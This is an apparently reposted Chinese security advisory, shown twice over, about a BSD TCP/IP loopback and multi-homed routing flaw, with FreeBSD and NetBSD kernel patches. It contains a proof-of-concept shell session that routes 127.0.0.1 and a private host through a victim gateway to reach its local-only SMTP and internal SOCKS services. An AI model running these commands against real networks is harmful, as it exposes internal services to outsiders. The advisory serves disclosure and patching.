TCP/IP堆疊中的路由漏洞 (BSD,缺陷) (轉)
TCP/IP堆疊中的路由漏洞 (BSD,缺陷) (轉)[@more@]堆疊中的 (,缺陷)
(轉自安絡科技)
涉及:
LBACK 和 MULTI-HOMED
描述:
TCP/堆疊中的 LOOPBACK 和 MULTI-HOMED 路由漏洞
詳細:
在 TCP/IP 堆疊中存在一個漏洞:被用來測試迴路或介面的資訊包即使在機器被成不允許路由時也能透過其它介面獲得路由。這意味著這些被設計成僅用來在機器內部起作用而對外部不可用的服務能被利用來為外部提供服務。從而可透過緩衝區威脅到主機或相鄰網路。
****以下程式碼僅僅用來測試和研究這個漏洞,如果您將其用於不正當的途徑請後果自負****
假設213.129.64.X代表公共網,172.16.X.X代表內部私人主機。213.129.64.1在25號埠執行SENDAMIL,為當地程式提供SMTP服務。者在213.129.64.2上。
213.129.64.2# route delete 127.0.0.1
delete host 127.0.0.1
213.129.64.2# route add 127.0.0.1 213.129.64.1
add host 127.0.0.1 gateway 213.129.64.1
213.129.64.2# 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 eeek.woodyland.not ESMTP send blah blah blah
若213.129.64.1僅對其內部網172.16.1.1執行SOCKS服務:
213.129.64.2# route add 172.16.1.1 213.129.64.1
213.129.64.2#add host 172.16.1.1: gateway 213.129.64.1
213.129.64.2# telnet 172.16.1.1 1080
Trying 172.16.1.1...
Connected to 172.16.1.1.
Escape character is '^]'.
213.129.64.2# export SOCKS_SERVER=172.16.1.1
213.129.64.2# rtelnet 172.16.1.2
Trying 172.16.1.2...
Connected to kerpow.woodyland.not Escape character is '^]'.
02/02/01 22:25:32 on /dev/con1
Last login: 02/02/01 21:22:54 on /dev/con1
login:
受影響:
OpenBSD
NetBSD
解決方案:
FreeBSD4.2 已新增:
--- /usr/src/sys/netinet/ip_input.c.org Sun Dec 17 16:04:49 2000
+++ /usr/src/sys/netinet/ip_input.c Mon Dec 18 16:46:14 2000
@@ -486,7 +486,9 @@
ip_fw_fwd_addr->sin_addr.s_addr)
goto ours;
#else
- if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr)
+ if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr
+ && (ia->ia_ifp == m->m_pkthdr.rcvif
+ || m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK))
goto ours;
#endif
if (ia->ia_ifp && ia->ia_ifp->if_flags & IFF_BROADCAST)
{
OpenBSD:尚未推出補丁。
NetBSD: 請將下面的補丁打入 sys/netinet/ip_input.c
*** ip_input.c 2001/03/01 16:31:39 1.128
--- ip_input.c 2001/03/02 02:05:36 1.129
***************
*** 416,421 ****
--- 416,428 ----
if (IN_MULTICAST(ip->ip_src.s_addr)) {
/* XXX stat */
goto bad;
+ }
+
+ /* 127/8 must not appear on wire - 1122 */
+ if ((ntohl(ip->ip_dst.s_addr) >> IN_CLASSA_NSHIFT) ==
IN_LOOPBACKNET ||
+ (ntohl(ip->ip_src.s_addr) >> IN_CLASSA_NSHIFT) ==
IN_LOOPBACKNET) {
+ if ((m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK) == 0)
+ goto bad;
}
if (in_cksum(m, hlen) != 0) {
(轉自安絡科技)
涉及:
LBACK 和 MULTI-HOMED
描述:
TCP/堆疊中的 LOOPBACK 和 MULTI-HOMED 路由漏洞
詳細:
在 TCP/IP 堆疊中存在一個漏洞:被用來測試迴路或介面的資訊包即使在機器被成不允許路由時也能透過其它介面獲得路由。這意味著這些被設計成僅用來在機器內部起作用而對外部不可用的服務能被利用來為外部提供服務。從而可透過緩衝區威脅到主機或相鄰網路。
****以下程式碼僅僅用來測試和研究這個漏洞,如果您將其用於不正當的途徑請後果自負****
假設213.129.64.X代表公共網,172.16.X.X代表內部私人主機。213.129.64.1在25號埠執行SENDAMIL,為當地程式提供SMTP服務。者在213.129.64.2上。
213.129.64.2# route delete 127.0.0.1
delete host 127.0.0.1
213.129.64.2# route add 127.0.0.1 213.129.64.1
add host 127.0.0.1 gateway 213.129.64.1
213.129.64.2# 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 eeek.woodyland.not ESMTP send blah blah blah
若213.129.64.1僅對其內部網172.16.1.1執行SOCKS服務:
213.129.64.2# route add 172.16.1.1 213.129.64.1
213.129.64.2#add host 172.16.1.1: gateway 213.129.64.1
213.129.64.2# telnet 172.16.1.1 1080
Trying 172.16.1.1...
Connected to 172.16.1.1.
Escape character is '^]'.
213.129.64.2# export SOCKS_SERVER=172.16.1.1
213.129.64.2# rtelnet 172.16.1.2
Trying 172.16.1.2...
Connected to kerpow.woodyland.not Escape character is '^]'.
02/02/01 22:25:32 on /dev/con1
Last login: 02/02/01 21:22:54 on /dev/con1
login:
受影響:
OpenBSD
NetBSD
解決方案:
FreeBSD4.2 已新增:
--- /usr/src/sys/netinet/ip_input.c.org Sun Dec 17 16:04:49 2000
+++ /usr/src/sys/netinet/ip_input.c Mon Dec 18 16:46:14 2000
@@ -486,7 +486,9 @@
ip_fw_fwd_addr->sin_addr.s_addr)
goto ours;
#else
- if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr)
+ if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr
+ && (ia->ia_ifp == m->m_pkthdr.rcvif
+ || m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK))
goto ours;
#endif
if (ia->ia_ifp && ia->ia_ifp->if_flags & IFF_BROADCAST)
{
OpenBSD:尚未推出補丁。
NetBSD: 請將下面的補丁打入 sys/netinet/ip_input.c
*** ip_input.c 2001/03/01 16:31:39 1.128
--- ip_input.c 2001/03/02 02:05:36 1.129
***************
*** 416,421 ****
--- 416,428 ----
if (IN_MULTICAST(ip->ip_src.s_addr)) {
/* XXX stat */
goto bad;
+ }
+
+ /* 127/8 must not appear on wire - 1122 */
+ if ((ntohl(ip->ip_dst.s_addr) >> IN_CLASSA_NSHIFT) ==
IN_LOOPBACKNET ||
+ (ntohl(ip->ip_src.s_addr) >> IN_CLASSA_NSHIFT) ==
IN_LOOPBACKNET) {
+ if ((m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK) == 0)
+ goto bad;
}
if (in_cksum(m, hlen) != 0) {
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10748419/viewspace-1007063/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 如何:強化TCP/IP堆疊安全TCP
- 如何強化TCP/IP 堆疊安全教程TCP
- C#中堆和堆疊的區別C#
- TCP IP之路由演算法TCP路由演算法
- 廣泛被使用的開源PJSIP SIP和媒體堆疊中存在安全缺陷JS
- 彙編中引數的傳遞和堆疊修正(轉)
- C中關於堆疊的總結
- 函式呼叫中堆疊的個人理解函式
- JS 堆疊JS
- java堆疊Java
- 平衡堆疊
- 堆疊圖
- 堆疊的工作原理
- JS中堆疊記憶體的練習JS記憶體
- 圖的深度優先遍歷[非堆疊、堆疊實現]
- TCP/IP協議常見漏洞型別TCP協議型別
- 關於TCP/IP協議漏洞的安全措施TCP協議
- 深入Linux網路核心堆疊(轉)Linux
- Java中的TCP/IP協議和IP地址JavaTCP協議
- Thrift的網路堆疊
- 漏洞分析——變數缺陷漏洞及通用異常捕獲宣告缺陷漏洞變數
- 圖的深度優先遍歷(堆疊實現和非堆疊實現)
- GCC 中的編譯器堆疊保護技術GC編譯
- 記憶體堆疊記憶體
- C#堆疊(Stack)C#
- Ripple 20:Treck TCP/IP協議漏洞技術分析TCP協議
- --------監視你的 TCP/IP埠!!!(vb)----------- (轉)TCP
- TCP/IP協議原理【轉載】TCP協議
- C#資料結構篇(二 堆疊) (轉)C#資料結構
- 使用wireshark分析TCP/IP協議中TCP包頭的格式TCP協議
- TCP 協議有哪些缺陷?TCP協議
- Java堆疊的區別有哪些Java
- BSD socket入門(轉)
- IMail SMTP 緩衝區溢位漏洞 (APP,缺陷) (轉)AIAPP
- [golang]如何看懂呼叫堆疊Golang
- 華為裝置堆疊原理
- C++堆疊詳解C++
- 泛型鏈式堆疊泛型